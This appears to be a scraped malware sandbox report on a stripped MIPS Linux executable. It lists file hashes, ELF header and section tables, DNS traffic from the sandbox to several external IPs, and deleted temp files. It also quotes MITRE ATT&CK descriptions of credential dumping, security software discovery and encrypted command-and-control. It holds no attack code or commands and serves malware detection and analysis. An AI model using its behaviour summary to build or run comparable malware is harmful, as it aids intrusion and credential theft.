SHA-512:	862A03C2EE34845E2F625E2DBB45D36297FAE40842B588D7123E54822CBCAFBEBC03B98CAD1871D283BF68367EDD13B7EB720D97F3DD1304B170C7513EB6A472
Malicious:	false
Reputation:	low
Preview:	400000-40e000 r-xp 00000000 fd:00 531606 /tmp/..44d000-44e000 rw-p 0000d000 fd:00 531606 /tmp/..44e000-450000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.5169741559365315
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	buPdHWwrzF.elf
File size:	56'136 bytes
MD5:	b7c003c0f331d91070d935c070dc0b63
SHA1:	b6ccac151b67fa5e2601e7d37a6d464e56a31331
SHA256:	ac0bf1c564df7f3400634a3d72e880b5217e25a524e3e362f99ba0014e781859
SHA512:	cf4fa5c98d42f79f6f68803524bb7425cb4dbbb2bb7aa433693e3ffce509cada5b680409bf18764a2a2227a4ae052192e24b3ee0de303ca6b7bb231e714d90c8
SSDEEP:	1536:UiecgCqT2lFAg4v8IsFI/hCvf0ffeRffPCCWaBeR4Jd6nI8sRpr:U9W5IsFI/huW/4D6nIHr
TLSH:	B543821A3E729FAEFB2D823587778A30DB59638127E08685D27CFC055A7030D645FB98
File Content Preview:	.ELF.....................@.`...4.........4. ...(.............@...@.....@...@...............D.D.D.D.D...@...$........dt.Q............................<...'.T....!'.......................<...'.S....!... ....'9... ......................<...'.S....!........'9.

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	55536
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0xc040	0x0	0x6	AX	16
.fini	PROGBITS	0x40c160	0xc160	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x40c1c0	0xc1c0	0x1080	0x0	0x2	A	16
.ctors	PROGBITS	0x44d244	0xd244	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x44d24c	0xd24c	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x44d254	0xd254	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x44d258	0xd258	0xd8	0x0	0x3	WA	4
.data	PROGBITS	0x44d330	0xd330	0x180	0x0	0x3	WA	16
.got	PROGBITS	0x44d4b0	0xd4b0	0x3d4	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x44d884	0xd884	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x44d8b0	0xd884	0x11b8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x774	0xd884	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0xd884	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xd240	0xd240	5.5696	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xd244	0x44d244	0x44d244	0x640	0x1824	3.2891	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 4, 2024 12:51:19.675440073 CEST	56173	53	192.168.2.23	95.216.99.249
Jul 4, 2024 12:51:19.701786995 CEST	53	56173	95.216.99.249	192.168.2.23
Jul 4, 2024 12:51:20.722038031 CEST	51400	53	192.168.2.23	137.220.55.93
Jul 4, 2024 12:51:48.112282038 CEST	48064	53	192.168.2.23	64.176.6.48
Jul 4, 2024 12:52:15.568712950 CEST	57712	53	192.168.2.23	152.53.15.127
Jul 4, 2024 12:52:15.582806110 CEST	53	57712	152.53.15.127	192.168.2.23
Jul 4, 2024 12:52:38.162216902 CEST	48766	53	192.168.2.23	194.36.144.87
Jul 4, 2024 12:52:38.172708988 CEST	53	48766	194.36.144.87	192.168.2.23
Jul 4, 2024 12:53:00.548788071 CEST	54354	53	192.168.2.23	217.160.70.42
Jul 4, 2024 12:53:00.575630903 CEST	53	54354	217.160.70.42	192.168.2.23
Jul 4, 2024 12:53:22.974570990 CEST	46693	53	192.168.2.23	168.235.111.72
Jul 4, 2024 12:53:23.072036028 CEST	53	46693	168.235.111.72	192.168.2.23

Start time (UTC):	10:51:17
Start date (UTC):	04/07/2024
Path:	/tmp/buPdHWwrzF.elf
Arguments:	/tmp/buPdHWwrzF.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report buPdHWwrzF.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.1G6yUC (deleted)

/tmp/qemu-open.2L7uJB (deleted)

/tmp/qemu-open.3JEGOD (deleted)

/tmp/qemu-open.6tZ25A (deleted)

/tmp/qemu-open.7MIwdE (deleted)

/tmp/qemu-open.8Kri2A (deleted)

/tmp/qemu-open.90dX0B (deleted)

/tmp/qemu-open.93eW7z (deleted)

/tmp/qemu-open.97sTbD (deleted)

/tmp/qemu-open.9zkAIC (deleted)

/tmp/qemu-open.AGJz2C (deleted)

/tmp/qemu-open.AmADnA (deleted)

/tmp/qemu-open.ApnyNC (deleted)

/tmp/qemu-open.BOSQ7D (deleted)

/tmp/qemu-open.CNUlyD (deleted)

/tmp/qemu-open.CXva1z (deleted)

/tmp/qemu-open.CkJN7A (deleted)

/tmp/qemu-open.CukSfB (deleted)

/tmp/qemu-open.CyTV9C (deleted)

/tmp/qemu-open.DbWnAB (deleted)

/tmp/qemu-open.DsTsyA (deleted)

/tmp/qemu-open.FG4r9B (deleted)

/tmp/qemu-open.FGf3PB (deleted)

/tmp/qemu-open.G40zLz (deleted)

/tmp/qemu-open.GpQWUD (deleted)

/tmp/qemu-open.HHnP7z (deleted)

/tmp/qemu-open.HfGqFD (deleted)

/tmp/qemu-open.Hh8XKz (deleted)

/tmp/qemu-open.Hhc2Gz (deleted)

/tmp/qemu-open.Hk5sMD (deleted)

/tmp/qemu-open.JoMlXz (deleted)

/tmp/qemu-open.K4eK8C (deleted)

/tmp/qemu-open.LWtCYC (deleted)

/tmp/qemu-open.LZi9GA (deleted)

/tmp/qemu-open.MLpMMz (deleted)

Linux Analysis Report
buPdHWwrzF.elf

Start time (UTC):	10:51:18
Start date (UTC):	04/07/2024
Path:	/tmp/buPdHWwrzF.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	10:51:19
Start date (UTC):	04/07/2024
Path:	/tmp/buPdHWwrzF.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre